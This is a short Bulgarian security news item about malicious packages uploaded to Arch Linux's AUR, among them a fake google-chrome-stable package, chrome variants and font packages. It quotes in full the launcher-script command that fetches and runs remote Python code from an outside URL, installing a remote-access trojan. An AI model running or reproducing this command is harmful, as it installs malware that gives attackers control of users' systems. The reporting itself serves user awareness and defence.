В репозитория на AUR (Arch User Repository), използван в Arch Linux за разпространяване на пакети от трети разработчици, продължава публикуването на злонамерен код, интегриран в пакети с неофициални версии на браузъри. В допълнение към откритите преди две седмици злонамерени пакети firefox-patch-bin, librewolf-fix-bin и zen-browser-patched-bin, в AUR бе добавен пакет google-chrome-stable, който също съдържа модификация, инсталираща злонамерен компонент, предоставящ отдалечен достъп до системата.
В PKGBUILD файла на проблемния пакет бе установено, че се инсталира скрипт за стартиране на браузъра google-chrome-stable.sh, който съдържа команда ‘python -c «$(curl https://segs.lol/9wUb1Z)»‘, изтегляща злонамерен софтуер, разпознат от VirusTotal като Trojan Spark, който позволява далечен контрол върху системата, стартиране на процеси, прехвърляне на файлове, инспекция на трафик и изпращане на скрийншоти.
Злонамереният пакет google-chrome-stable бе качен преди два дни и беше изтрит от администраторите на AUR само няколко часа след появата си. Почти веднага след изтриването на google-chrome-stable в AUR бяха качени два злонамерени пакета - «chrome» и «chrome-bin», съдържащи аналогичен скрипт за инсталиране на злонамерен софтуер в системата на потребителя.
След това бяха открити още три пакета с злонамерен код: ttf-mac-fonts-all, ttf-ms-fonts-all и gromit.
Източник: opennet.ru
